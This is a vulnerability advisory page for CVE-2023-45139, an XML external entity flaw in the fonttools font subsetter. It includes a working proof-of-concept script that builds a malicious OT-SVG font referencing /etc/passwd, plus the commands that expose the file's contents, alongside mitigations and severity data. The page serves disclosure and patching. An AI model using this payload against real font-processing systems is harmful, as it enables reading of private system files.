Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2023-45139 — fonttools

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-611 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

fonttools XML External Entity Injection (XXE) Vulnerability

Summary

As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.

This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.

PoC

The vulnerability can be reproduced following the bellow steps on a unix based system.

1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised /etc/passwd for our POC file to include and modified an existing subset integration test to build the POC font - see bellow.

```python

from string import ascii_letters

from fontTools.fontBuilder import FontBuilder

from fontTools.pens.ttGlyphPen import TTGlyphPen

from fontTools.ttLib import newTable

XXE_SVG = """\

<?xml version="1.0"?>

<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

<g id="glyph1">

<text font-size="10" x="0" y="10">&test;</text>

</g>

</svg>

"""

def main():

# generate a random TTF font with an SVG table

glyph_order = [".notdef"] + list(ascii_letters)

pen = TTGlyphPen(glyphSet=None)

pen.moveTo((0, 0))

pen.lineTo((0, 500))

pen.lineTo((500, 500))

pen.lineTo((500, 0))

pen.closePath()

glyph = pen.glyph()

glyphs = {g: glyph for g in glyph_order}

fb = FontBuilder(unitsPerEm=1024, isTTF=True)

fb.setupGlyphOrder(glyph_order)

fb.setupCharacterMap({ord(c): c for c in ascii_letters})

fb.setupGlyf(glyphs)

fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})

fb.setupHorizontalHeader()

fb.setupOS2()

fb.setupPost()

fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})

svg_table = newTable("SVG ")

svg_table.docList = [

(XXE_SVG, 1, 12)

]

fb.font["SVG "] = svg_table

fb.font.save('poc-payload.ttf')

if __name__ == '__main__':

main()

```

2. Subset the font with an affected version of fontTools - we tested on fonttools==4.42.1 and fonttools==4.28.2 - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):

```shell

pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs

```

3. Read the parsed SVG table in the subsetted font:

```shell

ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx

```

Observed the included contents of the /etc/passwd file.

Impact

Note the final severity is dependant on the environment fontTools is running in.

  • The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on

Possible Mitigations

There may be other ways to mitigate the issue, but some suggestions:

1. Set the resolve_entities=False flag on parsing methods

2. Consider further methods of disallowing doctype declarations

3. Consider recursive regex matching

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2023-45139 is classified as CWE-611: XML External Entity Reference (XXE). An XML parser resolves external entities, letting a crafted document read local files or reach internal services.

Affected software

CVE-2023-45139 is recorded against 1 package.

  • fonttools (from 4.28.2 up to 4.43.0)

Timeline and source

Published on 7 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
lists.fedoraproject.org (Web)
www.openwall.com (Web)
www.openwall.com (Web)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

fonttools has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-611: XML External Entity Reference (XXE)) in other software:

CVE-2023-45139 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE CWE-611
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-07

Affected Packages

Software From version Fixed in
fonttools 4.28.2 4.43.0

Similar Threats

Exploit Protection

Are you running fonttools?

CVE-2023-45139 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2023-45139 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2023